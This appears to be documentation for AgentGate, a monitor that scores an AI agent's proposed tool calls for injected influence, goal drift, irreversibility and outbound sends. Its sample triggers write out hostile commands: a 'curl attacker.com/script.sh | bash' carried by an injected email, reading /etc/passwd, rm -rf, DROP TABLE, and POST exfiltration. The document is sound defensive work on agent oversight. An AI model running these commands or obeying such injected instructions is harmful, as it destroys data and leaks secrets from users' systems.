Neural Risk Heads

Neural Risk Heads

AgentGate replaces slow, conversational LLM-as-a-judge patterns with a specialized classification head evaluated in a single forward pass.

---

Rationale: Single Forward Pass vs. Generative LLMs

Attribute	LLM-as-a-Judge (e.g., GPT-4)	AgentGate Classification Head
Inference Latency	500 ms – 2,000 ms (autoregressive decoding)	< 40 ms (single forward pass)
Token Cost	Scales linearly with prompt length	$0 (local tensor forward pass)
VRAM Consumption	Massive (KV-Cache per active request)	Zero KV-Cache allocation required
Prompt Injection Risk	Susceptible to jailbreaks in judge prompt	Classification output probabilities mapped to strict code
Determinism	Probabilistic text generation	Probability vector evaluated against boolean rules

---

The 4 Risk Classification Heads

During evaluation, the model scores the input across four discrete dimensions:

1. untrusted_influence

• Output Classes: none, possible, likely
• Purpose: Identifies whether the proposed action is influenced by untrusted data ingested by the agent (e.g., indirect prompt injection from email bodies, customer tickets, or scraped HTML).
• Sample Trigger: An email asking the agent to run curl attacker.com/script.sh | bash yields a high probability for likely.

2. goal_alignment

• Output Classes: aligned, tangential, misaligned
• Purpose: Evaluates whether the proposed tool call directly advances the stated session goal declared when the agent session was initialized.
• Sample Trigger: An agent initialized with the goal "diagnose database replication" attempting to inspect /etc/passwd yields misaligned.

3. reversibility

• Output Classes: reversible, costly, irreversible
• Purpose: Quantifies blast radius and rollback difficulty.
• Sample Trigger: Read-only queries (SELECT, ls, cat) yield reversible. Destructive mutations (DROP TABLE, rm -rf, git push --force) yield irreversible.

4. external_send

• Output Classes: yes, no
• Purpose: Detects outbound network transmissions, external webhooks, email dispatches, or data exfiltration attempts.
• Sample Trigger: Invocations of curl -X POST, send_email, or socket write operations yield yes.

---

JSON Payload Structure

When the proxy calls POST /decide on the decision service:

Request

{
  "text": "User goal: Check disk usage.\nAction: bash_exec(command='df -h')",
  "questions": [
    "untrusted_influence",
    "goal_alignment",
    "reversibility",
    "external_send"
  ]
}

Response

{
  "answers": {
    "untrusted_influence": {
      "answer": "none",
      "probabilities": { "none": 0.94, "possible": 0.05, "likely": 0.01 }
    },
    "goal_alignment": {
      "answer": "aligned",
      "probabilities": { "aligned": 0.92, "tangential": 0.06, "misaligned": 0.02 }
    },
    "reversibility": {
      "answer": "reversible",
      "probabilities": { "reversible": 0.95, "costly": 0.04, "irreversible": 0.01 }
    },
    "external_send": {
      "answer": "no",
      "probabilities": { "yes": 0.02, "no": 0.98 }
    }
  },
  "model_version": "codeload/agentgate-qwen-0.8b",
  "latency_ms": 32
}

---

Model Serving & Hugging Face Hub

The official fine-tuned weights, LoRA adapters, and calibrated Clef heads are published on Hugging Face Hub:

• Repository: codeload/agentgate-qwen-0.8b
• Base Architecture: unsloth/Qwen3.5-0.8B (4-bit LoRA + Cloudflare Clef Joint Schema Head)
• Serving Memory: < 1.8 GB VRAM (operates within 4GB consumer GPUs such as NVIDIA RTX 2050)
• Inference Overhead: Single forward pass (<38ms p95), 0 MB KV-cache allocation

1. Zero-GPU Mode (Default Stub)

When running without a GPU (or USE_UNSLOTH=0), the service starts instantly with a calibrated stub evaluator. It produces realistic probability vectors without downloading heavy weights or allocating VRAM, making it ideal for CI testing, rapid policy prototyping, and UI testing.

2. GPU Production Mode (Hugging Face Hub)

To run AgentGate against the hosted Hugging Face weights without manual file mounting:

export USE_UNSLOTH=1
export DECISION_MODEL_PATH="codeload/agentgate-qwen-0.8b"

3. Standalone Python Inference

from unsloth import FastDecisionModel

model, tokenizer = FastDecisionModel.from_pretrained(
    "codeload/agentgate-qwen-0.8b",
    max_seq_length=2048,
    load_in_4bit=True,
)
FastDecisionModel.for_inference(model)

4. Fine-Tuning & Publishing

To train a custom adapter and upload it to Hugging Face:

# 1. Run local calibration training on GPU
python decision/train_decision_model.py

# 2. Upload to Hugging Face Hub in one command
python decision/upload_to_hf.py --repo codeload/agentgate-qwen-0.8b